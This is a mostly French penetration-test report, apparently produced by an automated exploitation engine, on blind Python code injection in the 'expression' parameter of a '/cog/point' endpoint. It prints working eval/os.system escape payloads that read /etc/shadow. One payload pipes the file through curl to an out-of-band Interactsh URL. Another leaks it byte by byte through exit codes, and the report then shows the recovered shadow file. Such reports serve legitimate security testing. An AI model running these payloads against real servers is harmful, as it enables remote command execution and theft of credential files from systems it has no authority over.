En raison de l'impossibilité de générer une URL Interactsh, l'étape finale d'exfiltration du fichier /etc/shadow n'a pas pu être achevée. La vulnérabilité est confirmée, mais l'exploitation est actuellement bloquée par un problème de toolchain.
Exécutez le payload d'exfiltration out-of-band pour envoyer le contenu du fichier /etc/shadow à un serveur externe contrôlé. L'objectif est de confirmer que la vulnérabilité peut être exploitée pour voler des données sensibles en vérifiant que le contenu du fichier est reçu sur le serveur à l'écoute.
Vulnérabilité trouvée : injection de code Python aveugle
Résumé de la vulnérabilité
Une vulnérabilité d'injection de code Python aveugle a été identifiée dans le paramètre 'expression' de l'endpoint '/cog/point'. Le serveur évalue l'expression fournie mais ne retourne pas la sortie de la commande dans la réponse HTTP. À la place, c'est le code de sortie de la commande exécutée qui est retourné, lequel vaut '0' en cas d'exécution réussie. Cela confirme que la commande a été exécutée, mais les résultats doivent être exfiltrés via une méthode out-of-band.
Preuve de concept
La vulnérabilité a été confirmée en envoyant le payload suivant :
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow')")
Le serveur a répondu avec un statut 200 OK et {"values":[0.0]}, où 0.0 est le code de sortie de l'appel os.system, ce qui prouve l'exécution.
Preuve d'exploitation
Pour exfiltrer le fichier /etc/shadow, j'utiliserai une URL Interactsh pour capturer la sortie d'une commande curl.
Payload d'exfiltration :
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")
Étapes de reproduction
- Démarrez une session Interactsh pour obtenir une URL unique.
- Encodez en URL le payload d'exfiltration avec l'URL Interactsh.
- Envoyez une requête GET vers l'endpoint vulnérable avec le payload encodé dans le paramètre 'expression'.
- Vérifiez la session Interactsh pour une requête POST entrante. Le corps de cette requête contiendra le contenu du fichier /etc/shadow.
Vulnerability Confirmation:
The server executes the os.system call, and the exit code (0) is returned in the 'values' field of the JSON response, confirming blind command execution.
Exfiltration Payload:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")
Concevez un payload Python pour lire le premier caractère du fichier `/etc/shadow` et retourner sa valeur ASCII comme code de sortie de la commande. L'objectif est de vérifier que la réponse de l'application reflète ce code de sortie, confirmant la viabilité d'un canal d'exfiltration de données basé sur le code de sortie, puisque la méthode out-of-band a échoué.
Vulnérabilité trouvée : injection de code Python aveugle avec exfiltration de données via les codes de sortie
Résumé de la vulnérabilité
Une vulnérabilité d'injection de code Python aveugle a été identifiée et exploitée dans le paramètre 'expression' de l'endpoint '/cog/point'. Le serveur évalue l'expression fournie et, bien qu'il ne retourne pas la sortie directe des commandes, le code de sortie de la commande exécutée est retourné dans la réponse JSON. Ce comportement a été exploité pour exfiltrer le contenu du fichier /etc/shadow caractère par caractère.
Preuve de concept
L'exfiltration a été réalisée en envoyant une série de payloads, chacun conçu pour lire un caractère du fichier /etc/shadow, le convertir en sa valeur ASCII, et utiliser cette valeur comme code de sortie pour la commande.
Exemple de payload pour obtenir la valeur ASCII du premier caractère :
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('exit `head -c 1 /etc/shadow | od -An -tu1`')")
Preuve d'exploitation
Le contenu intégral du fichier /etc/shadow a été exfiltré avec succès et est joint en tant qu'artefact.
Étapes de reproduction
- La vulnérabilité peut être reproduite en envoyant une requête GET avec un payload spécialement conçu vers l'endpoint vulnérable.
- Un script Python a été créé pour automatiser le processus d'exfiltration du fichier. Le script parcourt le contenu du fichier, envoyant une nouvelle requête pour chaque caractère et décodant le code de sortie depuis la réponse du serveur.
- Les caractères accumulés reconstituent le fichier
/etc/shadowcomplet. /etc/shadow:
root:*:17885:0:99999:7:::
daemon:*:17885:0:99999:7:::
bin:*:17885:0:99999:7:::
sys:*:17885:0:99999:7:::
sync:*:17885:0:99999:7:::
games:*:17885:0:99999:7:::
man:*:17885:0:99999:7:::
lp:*:17885:0:99999:7:::
mail:*:17885:0:99999:7:::
news:*:17885:0:99999:7:::
uucp:*:17885:0:99999:7:::
proxy:*:17885:0:99999:7:::
www-data:*:17885:0:99999:7:::
backup:*:17885:0:99999:7:::
list:*:17885:0:99999:7:::
irc:*:17885:0:99999:7:::
gnats:*:17885:0:99999:7:::
nobody:*:17885:0:99999:7:::
_apt:*:17885:0:99999:7:::
Relancer ceci mène à une exploitation et à des payloads différents ; voici ci-dessous un autre exemple où le moteur parvient à générer du code qui fuite le contenu octet par octet :
